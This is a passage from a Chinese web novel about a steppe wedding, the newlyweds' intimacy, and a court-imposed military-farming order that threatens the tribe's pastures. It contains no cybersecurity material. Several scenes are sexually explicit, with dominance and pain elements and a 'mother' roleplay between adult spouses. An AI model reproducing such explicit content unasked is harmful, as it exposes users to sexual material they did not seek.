苏赫满意地点了点头,又转向都兰:“都兰,我的女儿。你长大了,要为人妻了。记住,你不仅是陈锦时的妻子,更是我们楼烦孕育的女儿,你要学着扛起你们家的天,守护好你的丈夫。” 都兰眼眶微微泛红,用力点了点头,接过银碗:“女儿记住了,阿爸。” 陈锦时和都兰手腕相交,将碗中的马奶酒一饮而尽。马奶酒醇厚的香气在口中散开,带着一丝微醺的暖意,流遍了全身。 喝完酒,萨满走上前来,用一根系着五彩布条的绳子,将两人的手腕轻轻缠在一起。这是“结发礼”的一种形式,寓意着“永结同心,生死相依”。 “以长生天之名,祝福你们!”萨满高声唱道,“愿你们的爱情如草原上的雄鹰,自由翱翔;愿你们的生活如肥美的牧草,蒸蒸日上;愿你们的后代如春天的羔羊,茁壮成长!” 喜帐内的亲友们纷纷鼓掌叫好。 仪式过后,喜帐内的气氛变得轻松起来。人们开始享用丰盛的婚宴。大块的烤羊肉被端了上来,金黄油亮,香气扑鼻。大碗的马奶酒、奶茶摆满了各个角落。 陈锦时牵着都兰的手,挨桌向亲友们敬酒。每到一桌,都能收获满满的祝福。楼烦的亲友们性格豪爽,喝酒也干脆,一杯接一杯地敬着这对新人。 陈锦时酒量不错,被亲戚们哄着夸着,嘴角都要扬到天上去了。 他可以说,就算是被皇上点了进士的那天,也没有今天来得风光。 一碗酒下肚,他忍不住抱起都兰,握住她的腰,一把将她举起,举到天上。 “我爱楼烦!我爱都兰!我爱你们!”他呐喊着,眼底热泪盈眶,渗出激动的泪。 都兰趴在他肩上打他,周围人哄堂大笑。 牧仁指了他一下,跟身边人说道:“我第一次见到这小子就觉得他傻乎乎的,这不是。” 苏赫刚一走过来,正要劝酒,陈锦时把都兰放下,又一把抱住苏赫:“阿爸!我爱你!我爱你阿爸!谢谢你们生下都兰!” 苏赫一张脸涨红,草原上的汉子从没有被这样对待过。 可一看眼前这小子鼻涕眼泪流了一脸,他张张嘴,反倒还安慰他:“我知道都兰好,你少喝点吧,唉。” 又转头对都兰,“管管他,别叫他喝多了。” 谢清樾头上戴着被其其格玩闹着戴上的“新娘子”的花环,端着酒碗过来,脸上带着真诚的笑容:“那就恭喜二位,终于修成正果。” 那串用草茎和野花拼凑成的头冠,戴在他头上倒显得有些滑稽。 三人的酒碗轻轻碰撞在一起,发出清脆的声响。 谢清樾才不过离开一会儿,其其格又搞了一堆事情出来:“姑父!你看我给你找的新头饰!” 谢清樾头皮发麻,陈锦时手指着自己瞪着其其格:“看清楚了,谁才是你姑父。” 其其格往谢清樾头上又插了些狗尾巴草,不满地瞥了陈锦时一眼:“姑父又不是只能有一个。” 周围人笑起来,苏赫都忍不住捋着胡子笑出声:“好样的!其其格!” 真是可惜呀,要不然,他有两个女婿该多好。 谢将军也是很不错的小伙子,上坡下坎,放羊砍柴,都是一把好手。 陈锦时拎着其其格的后脖子,把她拎到自己跟前来。 “你个小丫头片子,你就一个姑姑,怎么能有两个姑父?” “为什么不能?”其其格手臂太短了,挣不开他,只能瞪着他。 陈锦时狠狠指着她叹气,却又拿这姑娘一点办法也没有。 “得,随便你吧。” 苏赫一笑:“唉!好女婿!好女婿就是要大气!” 陈锦时脸上扬着笑,酒碗一碰:“阿爸,再来一碗。” “今天差不多了,”苏赫连连摆手,“你还得回喜帐跟都兰洞房呢。” 喜帐是专门给他们搭建的,装饰得十分华丽。 夜幕像一块巨大的黑色绒布,温柔地覆盖了整个草原。 “姑父,今晚你跟其其格走吧。” 其其格爬上谢清樾宽阔的背,拧着他的耳朵,似乎看出了他的沮丧和落寞。 喜帐内,烛光摇曳,映照着满室的喜庆。 很难说他们两个不圆满。 谢清樾站在草坪上的火塘旁,干牛粪燃烧得正旺,发出噼啪的声响。 “嘶!” 其其格拧得好用力! “姑父,你不愿意跟着其其格走?他们两个不要你。”其其格趴在他背上,脑袋歪着。 谢清樾弯腰放下她:“我要走了,一个人走。” 天黑了,宴席也散了。 喜帐内,都兰坐在铺着厚厚羊毛毯的炕边,指尖陷进软乎乎的羊毛里。 陈锦时一进来,帐帘晃动的风还没散,他便抬手解了衣扣。 外袍滑落,露出躯干,腰间线条利落又紧实,没有半分赘肉。 他走到她跟前,双膝跪地。 “都兰,”他双手捧着那根用牛皮编织的鞭子,举过头顶,眼神里是极致的虔诚,极致的炽热,“我想上炕。” 都兰打量他的上半身躯干,被谢清樾击打的痕迹还在胸口上横七竖八的亘着,几月过去,在暖光下呈现浅淡的粉色。 她微微仰起头,命令他,声音不容置疑:“陈锦时,现在叫我阿姆。” 他凑近她,浑身滚烫,刚刚还是进犯的气势,然后俯身把头埋下,在她温暖的腹窝里,像小时候一般依恋的,带着点颤:“阿姆。” ……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 65-70 第66章 烛火渐弱,只剩一点暖光映在帐幔上,软乎乎的暖意。 陈锦时难以形容那种感觉。 与她躺在一个被窝里,头枕在她的腿弯里,那是一种多么沉稳踏实的爱意。 鼻尖都是她身上淡淡的奶香气。 他的呼吸温热,拂过她的小腹。 都兰的手指插进他的头发里,轻轻梳理着。 他的头发比在金陵时硬了些,他的皮肤比小时候粗糙了些。 他身上的一切变化都是那样明显。 从不驯到温顺,偶尔还是会露出獠牙,但他奉上鞭子,以便她随时教训他的越界。 帐外的风偶尔掠过,带着草原的凉意,帐内却暖得像盛着一汪温水,把两人裹在里面。 她一只手拿起放在一旁的牛皮鞭子,没有说话,只是用鞭梢轻轻划过他的脊背,留下一道微凉的触感。 陈锦时的身体瞬间绷紧了,他微微扬起下巴,露出线条流畅的脖颈。 那样的姿态,像是在献祭,又像是在祈求。 他的吻落在她的额头、她的脸颊、她的唇上。 她没有落下鞭子,那么代表她是认可的。 他便继续长驱直入,在获得许可后,似乎完全失去了理智。 “阿姆……”他含糊不清地呢喃着,声音里充满了压抑不住的欲望和渴望,“我想要你……现在就想要……” 他猛地翻身,将都兰压在身下,胸膛剧烈地起伏着,眼中闪烁着野兽般的光芒。他的吻不再局限于她的唇,而是沿着她的脖颈一路向下,处处滚烫。 活了这么多年,都兰第一次有种顶不住的感觉。 男人的直白与疯狂让她双腿发软,他毫不掩饰的爱意叫她心口发涨,她淡漠已久的心也在叫嚣着。 她为何永远会在陈锦时和谢清樾之间选择陈锦时,大抵是因为,只有他这般直白热烈,只有他能不顾一切地把心掏出来给她看。 都兰不是看重这些的女人。 在她心里,与谁成婚,与谁过上一辈子,都可以,谢清樾也是极好、极合适她的。 但是当陈锦时出现时,她不得不把所有的目光转向他。他的求爱是那样的直白热烈。他猛地翻身,脸上的神情近乎癫狂,仿佛在献祭自己。毡房外的风似乎也变得更加狂暴起来,卷起地上的沙尘,拍打在毡房的外层毡布上。 她想,谢清樾大抵是做不到这样。 当她为自己选择陈锦时而找来了各种各样的理由,时至此刻,她才承认最重要的一个原因。她喜欢狂风骤雨,发了疯的一条狗在狂窜,她喜欢他身上那股几乎要将她吞噬的欲望,她喜欢疯狂,喜欢原始。 都兰的身体微微颤抖着。 都兰几乎要晕厥过去,陈锦时还在她耳边含糊不休,滚烫的呼吸混杂着粗重的喘息。 “阿姆……看看我……”他猛地攥住她的手腕,将她的手按在自己汗湿的后背上,那里肌肉线条紧 绷如拉满的弓,每一寸都在叫嚣着极致的占有,“我是你的……从头到脚,从里到外,全都是你的……” 他身上带着毁天灭地的野性,毫无保留地倾泻在她身上。 毡房外的风沙愈发狂暴,毡布被拍打得嗡嗡作响,仿佛要与他们之间的灼热交织在一起,将这方小天地彻底点燃。 都兰的意识早已模糊,只剩下身体最本能的沉沦。她抬手搂住他的脖颈,指甲深深陷入他紧实的皮肉。 天刚蒙蒙亮,毡房外就传来了牛羊的哞哞咩咩声,夹杂着远处牧民赶早放牧的吆喝。 这处草场不只有苏赫一家人居住,婚礼过后,一切都恢复如常。 都兰是被羊毛毯外的凉意惊醒的,睁开眼时,陈锦时还埋在她胸口。 “醒了?”图雅撩开毡帘喊了他们一声,把刚挤好的奶桶放在火塘边的矮凳上,顺手拿起挂在柱子上的羊毛巾,“阿爸说今早要去东边的草场看看巴图家新下的羊崽,你们去不?” 都兰还赤身裸体,撩开眼皮朝外看了一眼:“图雅,现在还早呢。” 图雅太冒昧了。 都兰低头看了眼还埋在自己胸口的陈锦时,他抬起头看她,睫毛颤了颤,眼底还蒙着层惺忪的雾,看起来乖得不行,突然埋头,一张嘴,一咬下。 都兰拽着他后脑勺的头发,咬牙切齿:“陈锦时!” “就一会儿。”他搅动着舌尖,含混不清地说道。 他舌尖的触感带着刚睡醒的温热,惹得都兰脊背发麻,手上的力道却松了些,轻轻揪着他头顶的发丝。 图雅站在帘子后面,笑着道:“也不早了,妹夫,阿爸也叫你过去呢,说火塘里要用的干牛粪快见底了,叫你去坡下的柴垛里抱些回来。” 都兰感受到胸脯上那人喘了下粗气,随后慢吞吞地从毯子里钻出来,直起身,赤裸的肩背还带着昨夜的红痕,被晨光一照,格外刺眼。 他倒是坦然,随手抓过一旁的外衣裹在都兰身上,自己则拿起长袍往身上套,这楼烦的男子衣物,他穿不太明白,腰带缠了半天也没系明白。 两人磨磨蹭蹭收拾好,掀开毡帘,图雅正背对着他们喂门口的牧羊犬,见他们出来,调侃似的道:“阿爸都催了两遍了,小年轻精力再是好,好歹也等着天黑了吧。” 都兰接过图雅手里的肉干,也蹲下喂了会儿牧羊犬:“什么小年轻?” 图雅脸上似笑非笑:“妹夫知道我在说什么。” 陈锦时也蹲下身:“待会儿去看看巴图家的羊崽子吧,叫阿爸等我们。” 都兰抬起头,戏谑地看向图雅:“怎么了?要不要我给阿兄送点草原神药玛咖?” 终于轮到图雅脸红了:“他才不需要那个东西呢!妹妹还是留着给妹夫吃吧,这晚上干,白天也干的,再年轻的身子也遭不住啊。” 都兰被图雅的话逗得笑出声,伸手拍了下她胳膊:“我都不想说了,那些年我才十来岁,你刚嫁给我阿兄,大白天的,在那土坡上,偏还叫我看见,你这个当嫂子的也好意思!” 图雅指使陈锦时:“先去抱牛粪,回来再跟阿爸去巴图家。” 陈锦时张着耳朵留在这儿,还想听,都兰把他推着走:“快去吧,明日你又得回衙门做你的陈大人了,还不趁着今天多帮阿爸干点活。” “那我先去,你在这儿等着我。”说着,便抄起墙角的竹筐往草场西侧走。 清晨的草叶上还挂着露珠,沾湿了他的裤脚,远处的牛羊群慢悠悠地啃着草,偶尔传来几声哞叫,倒衬得草原格外清静。 等他抱着满满一筐干牛粪回来时,都兰正坐在火塘边煮奶茶,苏赫已经收拾好了马鞍,靠在毡房柱子上抽旱烟。 见他回来,苏赫把烟杆在鞋底磕了磕:“正好,奶茶快煮好了,喝碗热的再走。 陈锦时把牛粪倒进火塘边的草垛里,凑到火塘旁取暖。 都兰看着他从什么都能靠银子解决事情的公子哥儿变成草原糙汉,心中五味杂陈。 遥想起多年前,她上房补漆,他一边看不惯,一边不得不帮着她干。 都兰给他盛了碗奶茶,又递过一块奶豆腐:“刚切好的,你尝尝。” 几人喝完奶茶,牵着马往巴图家走。 刚走到草场边,就看见巴图正蹲在羊圈旁。 都兰凑过去看,那羊羔浑身雪白,缩在羊圈里像团小毛球。 陈锦时也蹲下身,小心翼翼地摸了摸羊羔的背,指尖传来柔软的触感,忍不住笑:“真小,跟兔子似的。” 苏赫蹲在一旁跟巴图聊起今年的牧草长势,都兰则帮着给其他羊羔添草料,陈锦时也跟着搭手,学着都兰的样子把晒干的草料撒进羊圈。 陈锦时撒草料没那么耐心,一叉子下去,大半干草都飘到了羊圈外头。 都兰斥责他:“往羊跟前递,别甩那么开,人家都吃不到!” 她手臂往围栏里伸,刚下崽的母羊过来蹭了蹭她的手背。 陈锦时换了个动作,见她裙摆上沾了泥,忙拉过她:“刚下过雨,羊圈边上泥多,别蹭衣服上。” 都兰瞥了他一眼,哭笑不得:“瞎讲究什么呀瞎讲究。” 陈锦时面露委屈:“这裙子是你前几天刚做的,脏了多难洗。” 说着就蹲下身,拿袖子帮她擦裙摆上的泥印子。 图雅看了直笑:“你给她擦了,一会儿又蹭脏了,何必呢。” 都兰想拉开他,又不忍心打断他,等他给自己擦好了吧,她更是动也不敢乱动了,不舍得把衣服又弄脏。 他站起身:“好了,现在干净了。” 都兰穿着干净漂亮的裙子,把草料塞回他手里,指了指羊圈里的羊羔:“赶紧撒你的草,再磨蹭阿爸要生你的气了。” 陈锦时接过草叉,这回当真认真做起来。 苏赫跟巴图聊完,走过来拍了拍陈锦时的肩膀:“不错,干活越来越像样了!” 陈锦时扯起嘴角笑了下。 等收拾完羊圈,太阳已经升得老高,风也暖了些。 图雅帮着巴图家媳妇做了午饭,铜锅里炖着羊肉。 几人围坐在矮桌旁,说起朝廷新政的事来。 “陈大人,这半年以来,你们朝廷已经为我们楼烦做了这么多事,又是送种子,又是送药材的,真就没什么目的?” 陈锦时握着酒碗的手顿了顿,抬眼看向问话的巴图。 巴图脸上带着几分直爽,不喜欢藏着掖着的弯弯绕绕。 陈锦时放下碗,指尖轻轻摩挲着碗沿,斟酌着开口:“朝廷确实有目的,但目前在这里能全权替朝廷办事的只有我陈锦时一人,我是苏赫家的女婿,我管他朝廷有什么目的,办不办是我说了算。” 苏赫没说话,只是端着碗轻轻吹着热气,轻轻瞟了陈锦时一眼。 巴图挠了挠头,似懂非懂地问道:“这也,也不太好吧,呵呵。” 几人正围着矮桌说笑,毡房外忽然传来马蹄声,陈锦时的随从勒着马在门口翻身下马,显是连夜赶路过来,手里捧着一卷明黄封皮的文书,神色有些急切:“大人,巡抚衙门急递,皇上新令。” 陈锦时心里一沉,放下碗,接过文书。 指尖刚触到封蜡就觉出分量,这是军机处直接递来的密令。 他展开一看,眉头瞬间拧成了疙瘩。 “怎么了?”苏赫看他脸色不对,粗声粗气问出口。 陈锦时把文书递到苏赫面前,声音沉了几分:“朝廷要在楼烦南部的草场推行军屯,派五千兵士过来,一边驻守一边开垦土地种粮,说是稳固边防。” “什么?”苏赫猛地攥紧了拳头,指节泛白,“南部草场是咱们答兰部落和周边几个部族的冬牧场!冬天牛羊全靠那里的干草过冬,开垦了地,我们的牛羊吃什么?” 巴图也急了,一拍桌子:“这不行啊陈大人!” 巴图家毡房里的气氛瞬间凝重起来,陈锦时看着众人神情,心里很是疑惑,皇上怎么会突然下这样的命令, 与他出发前说的计划完全不一样。 他太清楚军屯背后的心思了,朝堂上的那些老东西始终觉得楼烦“难以驯服”,想借军屯把兵士安插在草原腹地,既控制草场,又能随时牵制部落。 “巴图大哥,阿爸,你们先别着急。”陈锦时稳了稳心神,“这只是初步政令,还没定下具体开垦的范围。我明天一早就回巡抚衙门,先把这事压下来,再写奏折跟皇上陈情。” 事情要办下去还需要流程,再说五千兵士从哪儿来,谢清樾、赵德胜他们都是自己人,不是朝廷三五天调得动的。 苏赫深吸一口气,压下心头的火气:“女婿,这事你可得跟朝廷说清楚!南部草场绝不能动!我们楼烦人靠草原吃饭,没了草场,就算朝廷给再多粮食,也不是长久之计!” “我知道。”陈锦时点头,目光坚定,“我会跟皇上说明白,军屯要是逼得部落没了活路,边境反而会更不稳。而且……”他顿了顿,看向都兰,“我绝不会让都兰和部落里的人,冬天没地方放牧。” 都兰握住他的手,轻声道:“我跟你一起回去。” 陈锦时轻轻点头,转头看向巴图和苏赫:“阿爸,巴图大哥,这个消息万万不能传出去。” 苏赫点头:“我知道。” 并州巡抚衙门,清晨,晨雾还没散尽,谢清樾驱马赶来。 “都兰,你怎么样?” 都兰站在门口等他:“我没事,人都来齐了,你快进来吧。” 谢清樾翻身下马,将缰绳递给门口的兵卒,大步往里走。 赵德胜正跟陈锦时对着一张地图皱眉,桌案上还堆着厚厚的文书,旁边几个随从围站着,神色都有些凝重。 谢清樾走到桌前,目光落在已经标注好的地图上,沉声道:“刚才在城外听说了,朝廷派的督办已经到了?怎么会这么快,皇上到底是怎么想的?” “到了,在隔壁喝茶。”陈锦时面色沉重地看向谢清樾,“皇上或许是被朝堂上的人说动了,觉得军屯能一劳永逸控制边境,不愿意慢慢等了。” 谢清樾蹙着眉头,定定看着他:“陈锦时,这如果是皇上的旨意,你我都不能抗旨。” 陈锦时正要张口说什么,大不了他再也不回京那话。 谢清樾又道:“你别忘了,你还有兄嫂在京。” 陈锦时话卡在喉咙里,指尖猛地攥紧了桌角,指节泛白。不抗旨,难道要奉旨把刀剑举向都兰他们? 桌下,都兰轻轻握住他的手,掌心的温度让他稍稍平复。 她迟疑着开口:“楼烦东部有片沙地,或许能改成耕地用,不必占我们的牧场。” 正说着,那位督办好似是等急了,叫人过来又催了一遍。 “人到齐了吗?督办大人在等各位过去商议。” 陈锦时站起身,对来人沉声道:“知道了,这就过去。” 督办穿着青色官袍,坐在椅子上喝茶,见他们进来,几人互相拱手行了礼。 “督办远道而来,辛苦了,先坐下喝口茶,晚上我来安排,美人、美酒、最好的羊肉,要什么有什么,保管你满意。” 督办冷笑一声:“陈大人,皇上有封手书在我这里,是给你的。” 陈锦时心里一沉,督办放下茶碗,从袖中取出一封信件。 “陈大人,皇上派我来之前,特地叫我叮嘱你,‘以朝廷为重,莫因私废公’。” 陈锦时眼神冰冷的抬起,接过信,展开一看,皇上的字迹力透纸背。 信上首行便是“贺陈卿新婚之喜”。 陈锦时猛地合上信,忽然明白皇上为何下此旨意。 算算时日,正是他打败谢清樾,顶替谢清樾成为都兰未婚夫的那一日,消息从楼烦传回京城。 皇上若是看得惯他们二人和和美美,三年前也不会将都兰逼走。 皇上在提醒他,“朕很不爽”。 “陈卿,二选其一吧。好好办事,别辜负了朕对你的期许。” “陈大人,皇上的意思,你该明白了吧?”督办放下茶碗,“军屯之事,容不得拖延,要么,三日之内配合丈量草场,开始垦地,要么,你就等着皇上问罪。你私下娶了位楼烦夫人的事情,也该好好想想回了京怎么交代。” 夜里,并州衙门的厢房布局像极了他们从前在京城的家。 一样的雕花窗棂,一样的紫檀木案,只是家具制式都少了金陵的温润,多了一丝凛冽。 陈锦时伏案写作,都兰走进来,在他案边放下一碗甜汤。 一切都跟从前一般无二。 就连陈锦时正写给皇上的折子,用的也尽是当年在她窗前学的策论。 那时也是这样的月色,她就坐在他床边,手里拿着针线。 “在想什么?”都兰见他停笔,伸手拂去他肩头的落尘,指尖触到他紧绷的肩线,“写了这么久,歇会儿吧,甜汤要凉了。” 陈锦时回过神,转头看她。 月色落在她眼底,像盛着一汪浅湖,和三年前在庭院里的模样重叠在一起。 他伸手握住她的手,猛地一拽,将她抱在膝上,搂住她的腰,头埋下去。 “在想,”他声音咬牙切齿,狠狠朝她脖子上咬下去,“你当时到底给玄澈灌了什么迷魂汤,他到现在都没忘了你。”他抬手捏住她,她微微一怔,又听他道:“你知不知道自己有多美,你的一举一动,你知道怎么让人爱上你。”明明嘴上在问罪,他的神情近乎痴迷。 都兰浑身轻颤了一下,偏过头,让他发烫的呼吸落在颈侧:“怎么了?这次的事情跟他有关吗?” 陈锦时的手没停,声音哑得厉害:“你说,这次的事情我要是办不好,他会不会借机杀了我,再把你抢了去。” 都兰伸手环住他的脖子,轻轻摸着他的后颈:“不会的,太子是个很好的人。” “其实他放我来楼烦,是个陷阱对不对?”陈锦时抬头看她。 “我当时,也只是想投靠他一些,帮帮锦行。”她抬手抚平他眉间的褶皱,声音软得像月色。 她试图解释,自己不是有意“勾引”太子。 可惜这样的解释最能勾起陈锦时的疯狂占有。 他喉结猛地滚动了一下,手指收紧,在肥润的肉上掐住五指红痕。 “你们都是我的孩子,我都该照拂的。” 他力道重得让她微微蹙眉:“你做得未免有些太多了,阿姆,你不必这么无私。” 但他想起,太后崩逝后,太医院里确实有不少人遭了殃,陈锦行很幸运地逃过了一劫。 都兰被掐得闷哼一声,指尖用力攥住他的手腕,试图让他松些力道,眼眶却不自觉地泛红:“我只是尽我所能,而他恰好送上门,又向我抛出好感……”话没说完,声音就带上了点的颤音。 “那现在该怎么办呢?阿姆,他盯上我们了,他不想让我们好过。” 陈锦时抬头看着她泛红的眼眶,戾气爆发,喘着粗气吻上她的唇。 她绕开他的舌含糊不清道:“没关系,我会一直陪着你的。” 这个吻比以往任何一次都要急切,带着他未散的戾气与深藏的恐慌,仿佛要通过这紧密的触碰,确认她真的在自己身边。 陈锦时打小就知道,家中兄妹三个,不是谁都那么幸运。 丧母之人能再次拥有“阿姆”,是万中无一的幸运。 长大后,拥有都兰也是。 他只是侥幸,暂时“抢”到了她。 第67章 母亲会爱她的每一个孩子,需要爱的那个务必要使尽全力,才能获取母亲的偏爱。 获得偏爱的孩子是幸运的,但要占有母亲全部的孩子是无耻的。 他如果全部占了,别人怎么办? 母亲生来有大爱,他要全心全意的“闯祸”“撒娇”“奉献”方能吸引她的目光,得到她的垂怜。 如果他稍稍松懈一点,那么她就会转身去爱别人。 原来这就是母爱吗? — 陈锦时抬头,唇角挂着晶莹,忍着凶性问她:“阿姆,还需要陈锦时做什么?” 他的衣领湿透了,嘴唇,下颌,都还残留着水渍。 都兰的指尖轻轻划过他的脊背,感受着他紧绷的肌肉,心口像被什么东西填得满满当当。 她偏过头,亲吻他的耳垂:“不需要了,够了。” 陈锦时的身体几不可查地颤了一下,手臂收紧,从地上爬起来,将她抱到案牍之上。 都兰抬手顺着他的头发,指腹轻轻摩挲他耳后敏感的皮肤。 她低头,吻了吻他的发顶。 他身子一僵,头垂在她肩膀上,单手解了自己裤带。 此时此刻的京城,皇宫内,暮色正顺着飞檐翘角往下沉。 新帝端坐在铺在明黄色软垫的榻上,目光落在一份刚送来的密报上,唇角噙着一丝难辨的笑意。 “这么快,陈卿连婚事都办好了啊。”他抬眼看向躬身侍立的内侍,声音平淡无波。 内侍忙回话:“回皇上,是。” “当年朕不知他用了什么办法,让先皇否了杨家的赐婚请旨,把朕好好的棋盘打乱,好在他尚且得用,帮朕处理了后续麻烦。” 内侍躬身回话:“是,要不皇上也不会这般重用陈大人。” 皇帝轻笑一声:“朕看他可怜,才放他去楼烦三年,可是见他们真的这样美满了,朕心里倒是不得劲了。” 内侍垂着头,不敢接话。 皇帝放下朱笔,目光望向窗外沉沉月色,声音冷了几分:“陈锦时太聪明,朕一向是惜才的,端看这次他这次要怎么办好军屯的事,要是办不好,朕要让他孤独终老。” 内侍擦了擦汗,笑着道:“皇上说笑了,他要能办好这件事儿,才得孤独终老呢。” 话音落下,玄澈也笑起来。 千里之外的并州衙门里,案牍上的公文被扫到一旁,宣纸散落满地,都兰指尖抵在他汗湿的脊背,感受着他每一次的紧绷与颤抖。 他胸腔剧烈起伏,还有藏在疯狂下的不安。 都兰抬手搂住他脖颈,她知道他心里很不安,否则他不会这般失态,以至于收不住力道,弄疼了她好几次。 她只能安抚他。 她偏过头,吻上他泛红的耳尖,声音很软,故作娇态。 也许这样的娇态并非故作,是身体吃了他的力,受了一些疼痛感,不得不露出的神态。 案上的墨汁被两人的动作碰洒,掉在地上晕开一片墨。 屋内响起滴滴答答的声响。 窗外风声渐歇,他的动作逐渐疯狂:“只有我能这样对你,只有我。” 她仰头,吻上他的唇,舌尖轻轻勾舔过他的齿间,唇角涎液沿着口角滑落,承受他更深入的搅动。她大抵不能理解他的不安,每一次当做最后一次做就好了,人生哪能一直无休无止地做下去,如今这样不是很好吗,至于明天还有什么困难等着他们,也没关系。 都兰裸露的背脊抵在窗棂上,抵出一道红痕,她温柔抚弄着他的头颅,在他耳边喘息。 她后来把头仰到窗外,可以透过榕树看到月亮悬在天上,她狠狠掐住他的头发,“啊——”,好了,好了。 他把她的腿从肩上放下来,指腹沾着她腿弯的湿度。 他低头,在她肩膀上落下一吻,似是安抚。 她坐在案牍上,轻声喘息着:“我给你说的,东边有片沙地,或许可以耕种,你可以写给皇上看看。” 陈锦时替她擦拭的动作一顿,埋头下去亲了亲,咬了一口:“你现在还想着他。” 她拍打他的背:“我跟你说正事呢。” 他没再说话,只是将脸埋得更深,她揪着他的头发,脚尖勾起。 “只是需要费些功夫罢了,不是完全不可能的。”都兰的指尖陷进他浓密的发间,呼吸还带着未平的颤意,仍耐着性子哄,“你就这么写吧,我也不想你夹在中间难做人。” 陈锦时喉间溢出一声闷哼,牙齿却松了力道,只是用唇瓣轻轻蹭着。 “阿姆都发话了,我自然听阿姆的。” 像只闹脾气又舍不得真伤人的兽,他抬手拢了拢散落在她腰间的发尾,她的腰腹也汗湿了,抬头看去,一张脸透着湿漉漉的红,满是欲色。 她抬手顺着他的脊背,轻轻抚平那处因紧绷而凸起的肌肉线条,声音软得像浸了温水:“你知道该怎么做吗?嗯?锦时。” 他心头软得一塌糊涂,瞧瞧他的阿姆,一心一意为他着想。 他抬起上身,眼底嘴角挂着湿痕,他伸手捏住她的下巴,低头吻上去,她轻轻避开。 “我知道。明天我就叫人去勘测。”他拇指在她下巴轻轻摩挲着,带着几分委屈,“阿姆,你嫌你自己。” 他抹了一把嘴唇,鼻尖贴着她的鼻尖,喉结滚动了下,声音里带着点笑意:“你嫌我还是嫌你自己?” 都兰别过头,手在他头顶往下按:“做你的事。” 过了好一会儿,她的呼吸渐渐急促又平稳,却忽然开口,声音带着点刚睡醒似的朦胧:“对了,阿爸叫你帮他晒毛毯,前些日子被雨淋湿了,你晒了吗?” 陈锦时的动作一顿,将她抱着往榻上去:“没忘,晒了的,放心吧。” 都兰被他稳稳放在榻上,指尖还勾着他的衣摆,声音软得发黏:“真晒了?别又忘了,阿爸昨天还念叨呢。” 陈锦时俯身替她掖了掖被角,指腹蹭过她泛红的脸颊,眼底带着笑意:“真晒了,就晾在院角那棵榕树下,风大,估计现在都干了。”他顿了顿,又补充道,“我还翻了两遍,没晒皱。” 都兰这才松了手,往被褥里缩了缩,眼皮渐渐发沉:“那就好……”话音刚落,呼吸就变得平缓,显然是累极了睡了过去。 天刚蒙蒙亮,陈锦时就醒了。 昨晚写好的要快马送回京城皇上手里的折子,一半沾了墨痕,一半被她的臀坐得湿漉漉的。 难得比她醒得早一回,她呼吸轻浅,他小心翼翼地挪开手臂起身。 院外,赵德胜已经带着五个勘测队员候着了,每人背上都驮着布包,里面装着测土的木铲、量水深的木尺,还有块画着格子的麻布。 “陈大人,怎么说?” “先去东边沙地看看,若有希望改成耕地,也能说服皇上一二。” 一行人刚走到门口,都兰披着外衣跟出来,晨雾沾湿了她的发梢,睫毛上挂着细小的水珠。 “锦时,怎么不等等我。” 陈锦时指尖触到她微凉的手,忍不住攥了攥:“怎么不多睡会儿?” “你们要去东边,那边全是沙地,没有人带队,极容易走失的,人和马都陷进去也是有的。”都兰说着,转身回去穿衣服,“等着,我跟你们去。” 都兰抓起搭在椅上的外袍,麻利地穿好。 赵德胜拦了拦她:“都兰,你在家等着就好,我们很快回来。” “我从小在那些地方跑,哪块地能走、哪块地危险,我比你们清楚。再说,你们测土要找水源,我知道沙地深处哪里有水源,省得你们瞎找。” 陈锦时没再拦她,有些事情,有她在还真能少不少麻烦。 一行人骑着马出发,走了约莫两个时辰,前方果然出现一片土黄色的沙地。 都兰率先下马,踩着沙砾往前走了几步,弯腰抓起一把沙:“表层是细沙,底下应该有黏土,再往前走一些。” 都兰攥着沙子捻了捻,指尖残留着细沙的粗糙感,她朝着沙地深处指了指:“往这边走,约莫半里地,底下的黏土更厚,还能找到潮土。” 陈锦时跟着她往前走,沙粒钻进鞋缝,硌得脚底板发疼。走了约莫一刻钟,都兰忽然停下脚步,弯腰用手刨了刨沙子,底下果然露出深褐色的黏土,她往黏土上洒了点水,黏土立刻黏成了团。 “快在地图上标注!”赵德胜眼睛一亮,立刻让队员拿出工具。 有人用木铲挖深坑,有人用麻布铺在地上记录土层厚度。 要说服皇上不动 草场,就得把沙地改为耕地的可能性尽可能的详述在奏折上。 陈锦时蹲在黏土旁,指尖按压着湿润的土块,感受着它的黏性:“这沙地的保水性不错,只要掺上牧场的黑土改良,种粟米或者燕麦都成。” 都兰则转身往沙地另一侧走,走了几步忽然停下,弯腰在沙地上踩了踩:“这里的沙子更实,底下应该有暗水。”她让队员拿来木铲,往下挖了约莫两尺,果然有清水慢慢渗出来,浸湿了周围的沙子。 “这里只要有水源,引水灌溉就完全没有问题。” 陈锦时松了口气,拿出纸笔仔细记录数据。 要是真能把这片沙地改成耕地,对楼烦人来说也是一件好事。 只是,沙地改耕地如今只能说是“有望”,皇上若是非要说他等不及…… 陈锦时在心底琢磨着最快速度的改良方案,诸如持续投入腐熟肥料,掺入粘土淤泥一类的办法。 无论如何,也需要两年时间。 他抬头看向都兰,想跟她商量,远处忽然传来一阵急促的马蹄声。 沙尘卷着风往这边扑来。 “是那个督办的人!”赵德胜先反应过来,脸色一沉,“才来了两天,他娘的急个什么?老子怀疑,皇上是叫他这么办事的吗?!” 只见十来个侍卫骑着马奔来,为首的人举着督办的令牌,到了跟前勒住马:“陈大人,督办奉皇令,限你一个时辰内回衙门,带他去南部草场开始勘测,你若再拖延,休怪督办大人拿你做抗旨处理!” 陈锦时眼底带着冷意:“究竟是谁违抗皇令?皇上此番派我来是安抚部族、稳固边防的,不是让你们强占牧场,若是逼反了牧民,督办他该当何罪?” 那侍卫冷笑了一声:“牧民没刀没剑的,不过一群血肉之躯,反就反了,朝廷随便一支军队也能剿灭了他们!” 陈锦时猛地往前一步,手按在腰间佩剑上,眼底的凶意几乎要溢出来。 他几步上前跳起,举剑砍向来人的头。 “他们是血肉之躯,可我陈锦时还挡在前面!岂容你这贱人挑衅!” 寒光闪过,剑尖“唰”地抵在侍卫咽喉前。 侍卫吓得浑身僵住,冷汗瞬间浸湿了衣袍。 陈大人的动作太快了!他刚才绝对可以一剑捅穿自己! 他不是进士出身的文官吗? “再敢多说一句话,我现在就砍了你!”陈锦时眼神狠戾,声音里没半点温度,“回去告诉你们督办,想动草场,先看看自己脖子够不够硬!至于皇令,我会亲自写奏折向皇上陈情,轮不到他来指手画脚!” 都兰伸手悄悄扯了扯他衣袖,陈锦时一张脸顿时变得扭捏起来,他的确是许久没有这样粗莽地办过事了。 